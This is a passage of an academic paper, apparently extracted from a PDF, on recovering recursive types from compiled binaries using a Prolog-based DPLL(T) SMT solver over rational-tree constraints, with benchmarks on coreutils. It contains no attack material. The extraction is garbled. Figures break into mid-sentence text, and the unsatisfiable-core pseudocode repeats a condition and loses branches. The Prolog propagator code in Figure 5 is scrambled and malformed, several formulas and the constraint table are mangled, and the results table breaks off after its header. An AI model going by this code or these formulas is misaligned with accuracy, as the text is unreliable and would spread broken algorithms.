Rational-tree expressions [20], constraints describing unification of terms and type variables, are now derived for each instruction. These are similar to the disjunctive constraints described by [35] for RTL, but include a memory model that tracks pointer manipulation by representing memory in ‘pointed to’ locations as a 3-tuple. The type of the specific location being pointed to is the middle element, the first element is a list of types for the bytes preceding the location, and the last the types for the bytes succeeding. The lists are open, as indicated by the ellipsis (…), since the areas of memory extending to either side are unknown. For example, consider `add` on line 11. This gives rise to two constraints, one for each possible meaning of the code:
\[
\begin{align*}
(T_{C2} &= \text{basic}([\text{int}, 4]) \land T_{C1} = T_{C2}) \\
\lor & \left( T_{C1} = \text{ptr}([\ldots, \beta_0, \beta_1, \beta_2, \beta_3, \beta_4, \ldots]) \land \\
T_{C2} &= \text{ptr}([\ldots, \beta_0, \beta_1, \beta_2, \beta_3, \beta_4, \ldots]) \right)
\end{align*}
\]
The first clause of the disjunction states that `C2` is of basic type, specifically a four byte integer (derived from the register size) with unknown signedness (as indicated by a sign parameter that is an uninstantiated variable), the result of
adding 4 to \( C_1 \), which has the same type. This is disjunct from the second clause, that asserts that \( C_1 \) is a pointer to an unknown type \( \beta_0 \), whose address is incremented by 4 by the \texttt{add} operation so that its new instance, \( C_2 \), points to another location of type \( \beta_4 \). Observe how \( T_{c1} \) prescribes types of objects that follow the object of type \( \beta_0 \) in memory whereas \( T_{c2} \) details types of objects that precede the object of type \( \beta_4 \). If further information is later added to \( T_{c2} \) due to unification it will propagate into \( T_{c1} \), and vice-versa, thus aggregate types analogous to \( C \) structs are derived.
The table below shows all constraints generated for the program. Note that some type variables have been relaxed to \( \_ \), indicating an uninstantiated variable, so as to simplify the presentation of the types. The complete problem is described by the conjunction of these constraints. Type recovery then amounts to solving the constraints such that the type equations remain consistent, whilst also ensuring that the propositional skeleton of the problem is satisfied.
<table>
<thead>
<tr>
<th>Line</th>
<th>Generated Constraints</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>( T_{a1} = T_{exp0} )</td>
</tr>
<tr>
<td>2</td>
<td>( (T_{a2} = \text{basic}(_ \text{int}, 4)) \land T_{a1} = T_{a2} \lor \ post )</td>
</tr>
<tr>
<td></td>
<td>( T_{a3} = \text{ptr}([\ldots, \alpha_0, \ldots, T_{edx1}, \ldots, \ldots]) \land )</td>
</tr>
<tr>
<td>3</td>
<td>( T_{a0} = \text{ptr}([\ldots, T_{edx1}, \ldots, \ldots]) \land )</td>
</tr>
<tr>
<td>4</td>
<td>( T_{eax} = \text{basic}(_ \text{int}, 4) \lor T_{a0} = \text{ptr}([\ldots, \alpha_2, \ldots]) )</td>
</tr>
<tr>
<td>5</td>
<td>( T_{a2x} = T_{edx1} \land T_{eax2} = T_{edx1} \lor )</td>
</tr>
<tr>
<td></td>
<td>( T_{edx2} = \text{ptr}([\ldots, T_{edx1}, \ldots]) \lor )</td>
</tr>
<tr>
<td>9</td>
<td>( T_{eax2} = \text{ptr}([\ldots, \alpha_4, \ldots]) \land )</td>
</tr>
<tr>
<td></td>
<td>( T_{a3x} = \text{basic}(_ \text{int}, 4) \land )</td>
</tr>
<tr>
<td>10</td>
<td>( T_{a0} = \text{ptr}([\ldots, \alpha_0, \ldots]) \land )</td>
</tr>
<tr>
<td>11</td>
<td>( T_{a0} = \text{ptr}([\ldots, \alpha_0, \ldots]) \land )</td>
</tr>
<tr>
<td></td>
<td>( T_{edx2} = T_{c1} \lor T_{a0} = \text{ptr}([\ldots, \alpha_0, \ldots]) \lor )</td>
</tr>
<tr>
<td></td>
<td>( T_{a2x} = \text{ptr}([\ldots, \alpha_2, \ldots]) \land )</td>
</tr>
<tr>
<td>12</td>
<td>( T_{edx2} = T_{c1} \lor T_{a2x} = \text{ptr}([\ldots, \alpha_2, \ldots]) \land )</td>
</tr>
</tbody>
</table>
For the register corresponding to \texttt{struct A}, constraint solving will derive a recursive type:
\[ T_{edx1} = \text{ptr}([\ldots, \text{basic}(\_ \text{int}, 4)] \lor T_{edx1} = T_{edx1} \land \ldots) \]
which requires rational-tree unification.
Observe that there may be multiple solutions; in fact the problem outlined above has two solutions, which differ in typing \texttt{eax1}, \texttt{eax2} and \texttt{eax}. The first correctly infers that they are (like \( B_1 \)) integers of size 4 bytes, while the second defines them as pointers to an unknown type, \( \text{ptr}([\ldots, \alpha_4, \ldots]) \). Both solutions have the following typings in common:
\[ B_1 = \text{basic}(\_ \text{int}, 4) \]
\[ T_{edx1} = T_{edx2} = T_{edx3} = T_{c1} = \]
\[ \text{ptr}([\ldots, \text{basic}(\_ \text{int}, 4), \ldots, \ldots]) \lor T_{c2} = \text{ptr}([\ldots, \text{basic}(\_ \text{int}, 4), \ldots, \ldots]) \]
\[ T_{a2} = \text{ptr}([\ldots, \alpha_0, \ldots, T_{edx1}, \ldots, \ldots]) \]
\[ T_{a1} = \text{exp0} = \text{ptr}([\ldots, \alpha_0, \ldots, T_{edx1}, \ldots, \ldots]) \]
The second solution is equivalent to typing \texttt{eax} as \texttt{void*} and performing addition using pointer arithmetic. In the wider context of this program, this solution is removed by constraints derived from the \textit{main()} function.
### 3. SMT AND THEORY PROPAGATION
#### 3.1 SAT solving and unit propagation
The Boolean satisfiability problem (SAT) is the problem of determining whether for a given Boolean formula, there is a truth assignment to the variables of the formula under which the formula evaluates to \textit{true}. Most recent SAT solvers are based on the Davis, Putnam, Logemann, Loveland (DPLL) algorithm [11] with watched literals [34]; this includes the solver in [18] that this paper extends.
At the heart of the DPLL approach is unit propagation. Let \( f \) be a propositional formula in CNF over a set of propositional variables \( X \). Let \( \theta : X \rightarrow \{ \text{true}, \text{false} \} \) be a partial (truth) function. Unit propagation examines each clause in \( f \) to deduce a truth assignment \( \theta' \) that extends \( \theta \) and necessarily holds for \( f \) to be satisfiable. For example, suppose \( f = (\neg x \lor z) \land (u \lor \neg u \lor w) \land (\neg w \lor y \lor \neg z) \) so that \( X = \{ u, v, w, x, y, z \} \) and \( \theta \) is the partial function \( \theta = \{ x \mapsto \text{true}, y \mapsto \text{false} \} \). In this instance for the clause \( (\neg x \lor z) \) to be satisfiable, hence \( f \) as a whole, it is necessary that \( z \mapsto \text{true} \). Moreover, for \( (\neg w \lor y \lor \neg z) \) to be satisfiable, it follows that \( w \mapsto \text{false} \). The satisfiability of \( (u \lor \neg u \lor w) \) depends on two unknowns, \( u \) and \( v \), hence no further information can be deduced from this clause. Therefore \( \theta' = \theta \cup \{ w \mapsto \text{false}, z \mapsto \text{true} \} \).
Searching for a satisfying assignment proceeds as follows: starting from an empty truth function \( \theta \), an unassigned variable occurring in \( f \), \( x \), is selected and \( x \mapsto \text{true} \) is added to \( \theta \). Unit propagation extends \( \theta \) until either no further propagation is possible or a contradiction is established. In the first case, if all clauses are satisfied then \( f \) is satisfied, else another unassigned variable is selected. In the second case, \( x \mapsto \text{false} \) is added to \( \theta \); if this fails search backtracks to a previous assignment. Further details can be found in [18, 44].
#### 3.2 SMT solving, the lazy-basic approach
SAT modulo theories (SMT) gives a general scheme for determining the satisfiability of problems consisting of a formula over atomic constraints in some theory \( T \), whose set of literals is denoted \( \Sigma \) [38, 43]. The scheme separates the propositional skeleton – the logical structure of combinations of theory literals – and the meaning of the literals. A bijection encoder mapping \( e : \Sigma \mapsto X \) associates each literal with a unique propositional variable. Then the encoder mapping \( e \) is lifted to theory formulae, using \( e(\phi) \) to denote the propositional skeleton of a theory formula \( \phi \).
Consider the theory of quantifier-free linear real arithmetic where the constants are numbers, the functors are interpreted as addition and subtraction, and the predicates include equality, disequality and both strict and non-strict inequalities. The problem of checking the entailment \( (a < b) \land (a = 0 \lor a = 1) \land (b = 0 \lor b = 1) \)\( \equiv (a + b = 1) \) amounts to determining that the theory formula \( \phi = (a < b) \land (a = 0 \lor a = 1) \land (b = 0 \lor b = 1) \land (a + b = 1) \) is not satisfiable. For this problem, the set of literals is \( \Sigma = \{ a < b, \ldots, a + b = 1 \} \).
Suppose, in addition, that the encoder mapping is defined:
\[ e(a < b) = x, \quad e(a = 0) = y, \quad e(a = 1) = z, \]
\[ e(b = 0) = u, \quad e(b = 1) = v, \quad e(a + b = 1) = w \]
Then the propositional skeleton of \( \phi \), given \( e \), is \( e(\phi) = x \land (y \lor z) \land (u \lor v) \land \neg w \). A SAT solver gives a truth assignment \( \theta \) satisfying the propositional skeleton. From this, a conjunction of theory literals, \( T \theta_2(\theta, e) \), is constructed. Where \( \ell \in \Sigma \), a conjunct is the literal \( \ell \) if \( \theta(e(\ell)) = \text{true} \) and \( \neg \ell \) if \( \theta(e(\ell)) = \text{false} \). The subscript will be omitted when \( \Sigma \) refers to all literals in a problem. This problem is passed to a solver for the theory that can determine satisfiability of conjunctions of constraints. Either satisfiability or unsatisfiability is determined, in the latter case the SAT solver is asked for further satisfying truth assignments. This formulation is known as the lazy-basic approach and details on its Prolog implementation can be found in [19].
3.3 SMT, the DPLL(\( T \)) approach
The approach detailed in the previous section finds complete satisfying assignments to the SAT problem given by the propositional skeleton before computing the satisfiability of the theory problem \( T \theta_2(\theta, e) \). Another approach is to couple the SAT problem and the theory problem more tightly by determining constraints entailed by the theory and propagating the bindings back into the SAT problem. This is known as theory propagation and is encapsulated in the DPLL(\( T \)) approach. Figure 1 gives a recursive formulation of DPLL(\( T \)) deriving from Algorithm 11.2.3 from [27]. A more general formulation of DPLL(\( T \)) might replace lines (11)-(15) with a conflict analysis step that would encapsulate not just the approach presented, but also backjumping and clause learning heuristics. However, the key component of DPLL(\( T \)) is the interleaving of unit and theory propagation and the choice of conflict analysis is an orthogonal issue. The instantiation to chronological backtracking presented in Figure 1 was chosen to match the implementation work.
The first argument to the function DPLL(\( T \)) is a Boolean formula \( f \), its second a partial truth assignment, \( \theta \), and its third an encoder mapping, \( e \). In the initial call, \( f \) is the propositional skeleton of input the problem, \( e(\phi) \), and \( \theta \) is empty. DPLL(\( T \)) returns a truth assignment if the problem is satisfiable and constant \( \perp \) otherwise.
The call to propagate is the key operation. The function returns a pair consisting of a truth assignment and \( \text{res} \) taking value \( \top \) or \( \perp \) indicating the satisfiability of \( f \) and \( T \theta(\theta, e) \). The fourth argument to propagate is a set of theory literals, \( D \), and the function begins by extending the truth assignment by assigning propositional variables identified by the encoder mapping. Next, unit propagation as described in section 3.1 is applied. The deduction function then infers those literals that hold as a consequence of the extended truth assignment. The function returns a pair consisting of a set of theory literals entailed by \( T \theta(\theta_2, e) \) and a flag \( \text{res} \) whose value is \( \perp \) if \( T \theta(\theta_2, e) \) or \( \theta_2 \) is inconsistent and \( \top \) otherwise. The function propagate calls itself recursively until no further propagation is possible. After deduction returns, if \( f \) is not yet satisfied then a further truth assignment is made and DPLL(\( T \)) calls itself recursively.
The key difference between the lazy-basic approach and the DPLL(\( T \)) approach is that where the lazy-basic approach computes a complete satisfying assignment to the variables of the propositional skeleton before investigating the satisfiability of the corresponding theory formula, the DPLL(\( T \)) approach incrementally investigates the consistency of the posted constraints as propositional variables are assigned. Further, it identifies literals, \( \ell \), such that \( T \theta(\theta, e) \models \ell \), allowing \( e(\ell) \) to be assigned during propagation. It is the interplay between propositional satisfiability, posting constraints and the consistency of the store \( T \theta(\theta, e) \) that is at the heart of this investigation.
4. PROPAGATION AND REIFICATION
This section provides a framework for incorporating theory propagation into the propagation framework of the SAT solver from [19]. The approach is based on reifying theory literals with logical variables. As will be illustrated in subsequent sections, this allows the use of the control provided by delay declarations to realise theory propagation. The integration is almost seamless since the base SAT solver is also realised using logical variables and by exploiting the control provided by delay declarations.
4.1 Theory propagation
There are three major steps in setting up a DPLL(\( T \)) solver for some problem \( \phi \): setting up the encoder map \( e \), linking each theory literal in a problem with a logical variable; posting theory propagators (adding constraints) that reify the theory literals with the logical variables provided by \( e \); posting the SAT problem defined by the propositional skeleton \( e(\phi) \), then solving this problem. The code in Figure 2 describes the high level call to the solver.
**Set up.**
Where \( \text{Prob} \) is an SMT formula over some theory, let \( \text{lit}(\text{Prob}) \) be the set of literals occurring in \( \text{Prob} \). TheoryLiteral is a list of pairs \( \ell \to e(\ell) \) (or rather, \( \ell \to e(\ell) \)). Where \( \ell \in \text{lit}(\text{Prob}) \), that defines the encoder mapping \( e \). Skeleton represents the propositional skeleton of the problem, \( e(\phi) \). \text{Vars} represents the set of variables \( e(\ell) \), where \( \ell \in \text{lit}(\text{Prob}) \). The role of the predicate \( \text{setup}(\star, - , - , -) \) is, given \( \text{Prob} \), to instantiate the remaining variables.
**Theory propagators.**
The role of post-theory is to set up predicates to reify each theory literal. The control on these predicates is key; the predicates need to be blocked until either \( e(\ell) \) is assigned, or the literal (or its negation) is entailed by the constraint store \( T \theta(\theta, e) \). That is, the predicate for \( \ell \to e(\ell) \) will propagate in one of four ways:
- If \( T \theta(\theta, e) \models \ell \) then \( e(\ell) \to \text{true} \)
- If \( T \theta(\theta, e) \models \neg \ell \) then \( e(\ell) \to \text{false} \)
- If \( e(\ell) = \text{true} \) then the store is updated to \( T \theta \cup \{ e(\ell) \to \text{true} \} \)
- If \( e(\ell) = \text{false} \) then the store is updated to \( T \theta \cup \{ e(\ell) \to \text{false} \} \)
**Boolean propagators.**
The role of post_boolean is to set up propagators for the SAT part of the problem \( e(\phi) \). This is a call to \text{propsetup} as described in [19]. Search is then driven by assignments to the variables using \text{elim_vars}.
4.2 Labelling strategies
The solvers presented in [19] maintain Boolean variables in a list and `elim_vars` assigns them values in the order in which they occur; the list has typically been ordered by the number of occurrences of the variables in the SAT instance before the search begins, the most frequently occurring assigned first. This tactic is straightforward to accommodate into a solver coded in Prolog. The desire for improved performance motivates the adoption of more sophisticated heuristics for variable assignment. Although orthogonal to the theme of theory propagation, the description of the SMT solver would be incomplete without explanation of labelling.
One classic strategy for labelling that is also straightforward to incorporate into a solver written in a declarative language is to rank variables by their number of occurrences in clauses of minimal size [23]. This associates a weight to each unbound variable according to the number of its occurrences in unsatisfied clauses of the (Boolean) problem. The ranking weights variables with fewer unbound literals less heavily than those in clauses with a greater number of unbound literals. A variable with greatest weight is selected for labelling, the aim being to assign one that is more likely to lead to propagation.
A refinement of this idea is to apply lookahead [29] in conjunction with this labelling tactic. Each variable with greatest weight, and therefore each candidate for labelling, is speculatively assigned a truth value. For example, if \( X \) is assigned true and this results in failure, then in order to satisfy the propositional formula (skeleton) then \( X \) must be assigned false. Likewise, if failure occurs when \( X \) is assigned false then \( X \) must be true. Moreover, if one variable can be
- \( \theta \) : truth assignment,
- \( e : \Sigma \rightarrow X \)
- \( f \) : CNF formula,
- \( D \) : set of theory literals
### Figure 1: Recursive formulation of the DPLL(\( T \)) algorithm
\begin{verbatim}
function DPLL(\( T \))(\( f \): CNF formula, \( \theta \) : truth assignment, \( e : \Sigma \rightarrow X \))
begin
\( (\theta_3, \text{res}) := \text{propagate}(\theta, \theta, \emptyset) \);
if (is-satisfied(\( f \), \( \theta_3 \))) then
return \( \theta_3 \);
else if (\( \text{res} = \bot \)) then
return \( \bot \);
else if (\( \text{res} = \top \)) then
return \( \top \);
else
\( x := \text{choose-free-variable}(\theta, \theta_3) \);
(\( \theta_4, \text{res} \)) := DPLL(\( T \))(\( f \), \( \theta_3 \cup \{ x \rightarrow \text{true} \} \), \( \text{res} \));
if (\( \text{res} = \top \)) then
return \( \theta_4 \);
else
return DPLL(\( T \))(\( f \), \( \theta_3 \cup \{ x \rightarrow \text{false} \} \), \( \text{res} \));
endif
end
function propagate(\( f \): CNF formula, \( \theta \) : truth assignment, \( e : \Sigma \rightarrow X \), \( D \) : set of theory literals)
begin
\( \theta_1 := \theta \cup \{ e(\ell) \rightarrow \text{true} \mid \ell \in D \cap \Sigma \} \cup \{ e(\ell) \rightarrow \text{false} \mid \ell \notin D \cap \Sigma \};
\( \theta_2 := \theta_1 \cup \text{unit-propagation}(f, \theta_1); \)
(\( D, \text{res} \)) := \text{deduction}(Th(\theta_2, e));
if (\( D = \emptyset \) \( \lor \text{res} = \bot \))
return (\( \theta_2, \text{res} \));
else
return \( \text{propagate}(\theta, \theta_2, e, D) \);
endif
end
\end{verbatim}
### Figure 2: Interface to the DPLL(\( T \)) solver
\begin{verbatim}
dpll_t(Prob):- setup(Prob, TheoryLiterals, Skeleton, Vars), post_theory(TheoryLiterals), post_boolean(Skeleton), elim_var(Vars).
\end{verbatim}
Implementing the interface provided by predicates setup and post_theory, together with the SAT solver from [19] results in a DPLL(\( T \)) SMT solver. Note that the propagators posted for the theory and Boolean components are intended to capture the spirit of the function propagate from Figure 1. Indeed, the integration between theory and Boolean propagation is even tighter than the algorithm indicates. Rather than performing unit propagation to completion, then performing theory propagation, then repeating, here the assignment of a Boolean variable is immediately communicated to the theory. This tactic is known as immediate propagation and is a natural consequence of using Prolog’s control to implement propagators. Immediate propagation does away with the need to analyse failure to determine an unsatisfiable core when a set of theory constraints is unsatisfiable, but attracts a cost in monitoring the entailment status of the theory literals.
assigned using lookahead, then often so can others, hence this tactic is repeatedly applied until no further variables can be bound. Thus lookahead is tried before any variable is assigned by search.
Scoping this activity over the variables of greatest weight limits the overhead of lookahead. The net effect is to direct search away from variable assignments that will ultimately fail. Lookahead can be considered to be dual of clause learning since the former seeks to avoid inconsistency by considering assignments that are still to be made, whereas the latter diagnoses an inconsistency from an assignment that has previously been made. The case for lookahead versus learning has been studied [29], but in a declarative context, particularly one where backtracking is supported, lookahead is very simple to implement, requiring less than 20 lines of additional code in the SAT solver.
### 4.3 Calculating an unsatisfiable core
Given an unsatisfiable SMT problem, it can be useful to find an unsatisfiable core of this problem, that is, a subset of the theory literals, $\Sigma' \subseteq \Sigma$, such that $T_{hc}(\theta, e)$ is not satisfiable for any assignment $\theta$, and for all $\Sigma'' \subseteq \Sigma'$ there exists a $\theta$ such that $T_{hc}(\theta, e)$ is satisfiable.
The unsatisfiable core needs to be calculated in the lazy-basic approach (in [19] an algorithm adapted from [22] was used). Further, in the application to type recovery problems, it is useful to be able to diagnose the cause of unsatisfiability. An unsatisfiable core for the type recovery problems is typically small and this motivates an algorithm that attempts to aggressively prune out literals that are not in a core. Such an algorithm is presented in Figure 3.
The first argument to findcore is (an ordered representation of) a partial encoder mapping from theory literals to propositional variables; the second argument is a propositional formula, namely $\psi(\phi)$ the propositional skeleton of the initial problem; the third argument is an integer, giving the number of elements of the mapping on literals that will be pruned from one end (and then the other) in order to investigate satisfiability; the fourth argument is a partial mapping from theory literals to propositional variables, where the theory literals are part of the unsatisfiable core. The initial call to the function is findcore($e$,$\phi$,$\phi$,$\varnothing$,$\theta$), where $e$ is the complete encoder map for $\Sigma$, $\varnothing$ is the empty list representing the mapping on literals that will be pruned.
The algorithm removes $c$ elements from the beginning of the mapping (represented as a list) and tests the resulting problem for satisfiability. If the problem remains unsatisfiable, the $c$ elements removed are not part of the unsatisfiable core and can be pruned all at once. This is repeated for the end of the mapping. The $c$ value begins large and is logarithmically reduced until it has value 0, at which point the first and last elements of the list representing the mapping must be in the core. The function findcore is then again recursively called with these end points removed and the process continues until a core has been found.
### 5. Instantiation for Rational-Trees
The theory component of an SMT solver requires a decision procedure for determining the satisfiability of a conjunction of theory literals. Unification is at the heart of Prolog and many Prolog systems are based on rational-tree unification, hence a decision procedure for conjunctions of rational-tree constraints comes essentially for free. This can be coupled with the control provided by delay declarations to reify rational-tree constraints, hence implementing the interface described in section 4. The code in Figure 4 demonstrates the use of delay to realise theory propagation over rational-tree constraints via reification.
An SMT problem over rational-trees consists of Boolean combinations of theory literals $\ell$. The call to setup/4 will instantiate TheoryLiterals to a list of pairs of the form $\ell - e(\ell)$; the propositional skeleton and a list of the $e(\ell)$ variables are also produced. In the following, a labelled literal $\text{eqn}(\text{Term1}, \text{Term2})$ is discussed. post_theory sets up propagators for each theory literal in two steps. theory_wait propagates from the theory constraints into the Boolean variables.
theory_wait uses the built-in control predicate when/2, which blocks the goal in its second argument until the first argument evaluates to true. In this instance the condition $\neg(\text{Term1}, \text{Term2})$ is true either if Term1 and Term2 are identical, or if the terms cannot be unified. That is, if Term1=Term2 is entailed by the store then theory_prop is called and assigns $X$=true. Similarly, if the constraint is not consistent with the store, then Term1 and Term2 cannot be unified and again theory_prop reflects this by assigning $X$=false. In the opposite direction, bool_wait communicates assignments made to Boolean variables to the theory literals. The predicate is blocked on the instantiation of the logical variables, waking when they become true or false.
When true the constraint must hold so Term1 and Term2 are unified. When false, it is not possible for the two terms to be unified, hence the constraint is discarded and the call to bool_wait succeeds. Note that it is not possible to post a constraint that asserts that two terms cannot be unified, since the control predicate dif/2 is defined as:
\[ \text{dif}(X, Y) := \text{when}(\neg(X, Y), X \leftarrow Y). \]
That is, it blocks until either $X$ and $Y$ are identical or they cannot be unified, then tests whether or not they are identical. Hence dif/2 acts as a test, rather than a propagating constraint. Consistency of the store is maintained by theory_wait; if $X$=false and the constraint is discarded, then later it is determined that Term1=Term2, theory_wait will attempt to unify $X$ with true, which will fail. Finally, post_boolean sets up the propositional skeleton for the solver from [18].
### 6. Instantiation for Linear Real Arithmetic
Many Prolog systems come with the CLP(R) constraints package, which can determine consistency of conjunctions of linear arithmetic constraints. This decision procedure makes quantifier-free linear arithmetic a sensible theory for the solver. The challenge is to implement reification for the constraints, an operation not directly supported.
The code in Figure 5 demonstrates the integration of linear real arithmetic as realised by CLP(R) into the DPLL(T) scheme. It assumes that the input problem has been normalised so that all the constraint predicates are drawn from $=$, $<=$ and $. <$ The propagators, theory_wait, are blocked on two variables. The first of these is the labelling variable $e(C)$ - if this is instantiated, the appropriate constraint is posted. To complete the reification, the propagators need
function findcore \( (e = [t_1 \mapsto x_1, ..., t_n \mapsto x_n] : \Sigma \rightarrow X, f : \text{CNF formula}, c : \text{int}, \text{core} : \Sigma \rightarrow X) \)
begin
if (c = 0)
return \text{core};
else if (c = 0)
\text{core}' := [t_1 \mapsto x_1, ..., t_n \mapsto x_n] \cup \text{core};
findcore([t_2 \mapsto x_2, ..., t_{n-1} \mapsto x_{n-1}], f, \lceil \frac{n-1}{2} \rceil, \text{core}');
else
i := 1; j := n;
if (\neg \text{DPLL}(T)(f, \emptyset, [t_i \mapsto x_i, ..., t_{n+c} \mapsto x_{n+c}] \cup \text{core}))
i := c + 1;
else
if (c = 1)
\text{c}' := 0;
else
\text{c}' := \lceil \frac{c+1}{2} \rceil;
endif
\text{endif}
\text{endif}
\text{end}
Figure 3: Finding an unsatisfiable core
post_theory([]).
post_theory([\text{eqn}(\text{Term1}, \text{Term2}) \land \text{X}|\text{Rest}]) :-
setup_reify(X, \text{Term1}, \text{Term2}),
post_theory(Rest).
setup_reify(X, \text{Term1}, \text{Term2}) :-
\text{bool_wait}(X, \text{Term1}, \text{Term2}),
\text{theory_wait}(X, \text{Term1}, \text{Term2}).
:- block \text{bool_wait}(\_?, \_?, \_?).
\text{bool_wait}(\text{true}, \text{Term1}, \text{Term2}) :-
\text{Term1} = \text{Term2}, !.
\text{bool_wait}(\text{false}, _\text{Term1}, _\text{Term2}).
\text{theory_wait}(X, \text{Term1}, \text{Term2}) :-
\text{when}(\neq(\text{Term1}, \text{Term2}),
\text{theory_prop}(X, \text{Term1}, \text{Term2})).
\text{theory_prop}(X, \text{Term1}, \text{Term2}) :-
\text{Term1} = \text{Term2} \rightarrow
X = \text{true}
;
X = \text{false}
.
Figure 4: Theory propagation for rational-tree constraints
to detect the entailment of the linear constraint (or its negation). This can be achieved using the builtin \text{entailed/1}, however the control for ensuring that this is called at an appropriate time is less obvious.
Once a new constraint has been posted (or once the constraint store has changed) other constraints or their negations might be entailed and this needs to be detected and propagated. The communication between the propagators to capture this is achieved with the second argument to \text{theory_wait}. Each propagator is set with its second argument the same logical variable (\text{Y} in the code) and the propagators are blocked on this second argument. When a constraint is posted, \text{Y} is instantiated, \text{Y} = \text{prop(_)}. This wakes all active propagators which either propagate or block again on the new variable. An alternative approach, which would invoke the propagators less frequently, would be to only wake up the active propagators for those constraints that share a variable with the posted constraint.
It should be emphasised, however, that although a linear solver is interesting for self-contained Prolog applications, this theory is supported by a number of off-the-shelf SMT solvers; the approach presented in this paper is primarily designed for constraint theories that are unavailable in standard SMT distributions.
7. EXPERIMENTAL RESULTS
The DPLL\((T)\) solver for rational-trees has been coded in SICStus Prolog 4.2.1, as described in section 5. Henceforth this will be called the Prolog solver. To assess the solver it has been applied to a benchmark suite of 84 type recovery problems, its target application. The first eight benchmarks are drawn from compilations at different optimisation levels of three small programs manufactured to check their types against those derived by the solver. These benchmarks are designed to check that the inferred types match against those prescribed in the source file, and also assess the robustness of
post_theory(TheoryLiterals) :-
setup_reify(TheoryLiterals, _).
setup_reify([1, _].
setup_reify([C-V|Cs], Y) :-
negate(C, NegC),
theory_wait(V, Y, C, NegC),
setup_reify(Cs, Y).
negate(X =< Y, X > Y).
negate(X < Y, X >= Y).
negate(X = Y, X #= Y).
next_var(Y, Z) :-
var(Y), !,
Y = Z.
next_var(prop(Y), Z) :-
next_var(Y, Z).
:- block theory_wait(_, _, ?, ?).
theory_wait(V, Y, _C, NegC),
setup_reify([], _).
negate(X <= Y, X > Y).
entailed(NegC), !,
nonvar(Y),
{NegC}, Y = prop(_).
theory_wait(V, Y, _C, NegC) :-
nonvar(Y),
entailed(C), !,
V = true.
theory_wait(V, Y, _C, NegC) :-
nonvar(Y),
entailed(NegC), !,
V = false.
theory_wait(V, Y, C, NegC) :-
next_var(Y, U),
theory_wait(V, U, C, NegC).
Figure 5: Theory propagation for linear real arithmetic
the type recovery in the face of various compilation modes. The remaining benchmarks are taken from version 8.9 of the coreutils suite of programs, standard UNIX command line utilities such as wc, uniq, echo etc. With an eye to the future, the DynInst toolkit [33] was used to parse the binaries and reconstruct the CFGs. This toolkit can recover the full CFG for many obfuscated, packed and stripped binaries, and even succeeds at determining indirect jump targets. CFG recovery is followed by SSA conversion which, in turn, is followed by the generation of the type constraints, and the corresponding SMT formula complete with its propositional skeleton. The latter rewriting steps are naturally realised as a set of Prolog rules.
To the best of the authors’ knowledge, this paper represents the first time that recursive types have been automatically derived, hence it is not possible to compare to previous approaches. Furthermore, no comparison is made with an open source SMT solver equipped with rational-trees since the authors are unaware of any such system. Nevertheless, to provide a comparative evaluation a lazy-basic SMT solver based on an off-the-shelf SAT solver, PicoSAT [3], has been constructed. This solver is also implemented in SICStus Prolog 4.2.1 but uses bindings to PicoSAT to solve the SAT formulae. PicoSAT, though small by comparison with some solvers at approximately 6000 lines of C, applies learning, random restarts, etc, a range of tactics not employed in the Prolog SAT solver. This SMT solver will henceforth be called the hybrid solver. However, crucially, the hybrid solver does not apply theory propagation; it simply alternates SAT solving with satisfiability testing following the lazy-basic approach, which is all one can do when the SAT solver is used as a black box.
The experiments were run on a single core of a MacBook Pro with a 2.4GHz Intel Core 2 Duo processor and 4GB of memory. A selection of the results are given in Table 1. To clarify the meaning of the columns of Table 1, consider benchmark 1. The SMT formula is satisfiable, hence a core is not derived, and the problem is solved with just one call to the Prolog SMT solver. The hybrid solver also requires just one call but this, in turn, requires PicoSAT to be invoked 796 times, on all but the last occasion adding a single blocking clause to the propositional skeleton. By way of contrast, benchmark 9 is unsatisfiable hence a core is computed that pinpoints a type conflict. The Prolog SMT solver is invoked 51 times to identify this core; the hybrid SMT solver requires exactly the same number of calls, hence the number is not repeated in the table. However, these 51 calls to the hybrid solver cumulatively require 536 invocations of PicoSAT. On occasions the hybrid solver terminated with a memory error¹, indicated by seg, invariably after several hours of computation. The fault is repeatable.
In addition to these timing results, the recursive types inferred for mersors, as well as those for iterative-sum and recursive-sum, have been checked against the types prescribed in the source. The sum programs both build list of integers but then traverse them in different ways. Another point not revealed from the table is that the largest benchmarks can take over 20 minutes to parse, reconstruct the CFG, perform SSA conversion and then generate the SMT formula. Thus the time required to solve the SMT formulae does not exceed the time required to generate them, at least for the Prolog solver.
8. DISCUSSION
The results in Table 1 demonstrate that an SMT solver equipped with an appropriate theory can be used to successful automate the recovery of recursive types, a problem not previously solved.
On no occasion is the hybrid solver faster than the Prolog solver, which suggests that a succinct implementation of theory propagation is more powerful than deploying an off-the-shelf SAT solver as a black box in combination with a handcrafted theory solver using the lazy-basic approach.
It can be observed in Table 1 that many of the problems are unsatisfiable. For these problems an explanation for a type conflict is returned rather than a satisfying type assignment. As a strength test of the solver these problems are good since the exhaustive search required to demonstrate unsatisfiability is more demanding than search for a first satisfying assignment. There are two results that require discussion. Benchmark 4 has an unsatisfiable core of 26 constraints, whereas most cores have less than 10 constraints.
¹This bug has been fixed in the forthcoming SICStus 4.3.
This explains why it is relatively slow. Benchmark 7 has
timed out, a reminder that large SMT problems can be hard
to solve.
Note that the time require for type recovery is sensitive
to optimisation level, though it is not obvious why differ-
ent optimisation levels impact on the difficulty of the SMT
instance, apart from the obvious effect on code size.
For the unsatisfiable problems, a core of unsatisfiable con-
straints is calculated using multiple calls to the DPLL(T)
solver as indicated. This core can be used to diagnose un-
satisfiability, in turn allowing the analysis to be refined to
return meaningful information despite the initial result. In
the benchmarks unsatisfiability is typically owing to nop
instructions such as nop [rax+rax+0x0]. This instruction
does nothing, but has been generated by the compiler with
an encoded operand in order to make it a specific size for op-
timal performance. The indirect addressing is broken down
and constraints generated as follows:
\[
\begin{align*}
\text{mov } A_1, \text{rax}_1 & \quad T_{A_1} = T_{\text{rax}_1} \\
\text{add } A_2, \text{rax}_1 & = \text{basic}(_{\text{int}},4) \land T_{A_2} = T_{A_1} \land \text{basic}(_{\text{int}},4) \land \\
\text{mov } A_3, [A_2] & \quad T_{A_2} = \text{ptr}([\ldots, a_1, \ldots]) \\
\text{nop } A_3 & \quad \text{nop } A_3
\end{align*}
\]
Table 1: Benchmarking for a selection of type recovery problems
<table>
<thead>
<tr>
<th>benchmark (^a)</th>
<th>instruc. (^b)</th>
<th>clauses (^c)</th>
<th>prop-vars (^d)</th>
<th>theory-vars (^e)</th>
<th>time (^f) SMT calls (^g)</th>
<th>time (^h) SAT calls (^i)</th>
</tr>
</thead>
<tbody>
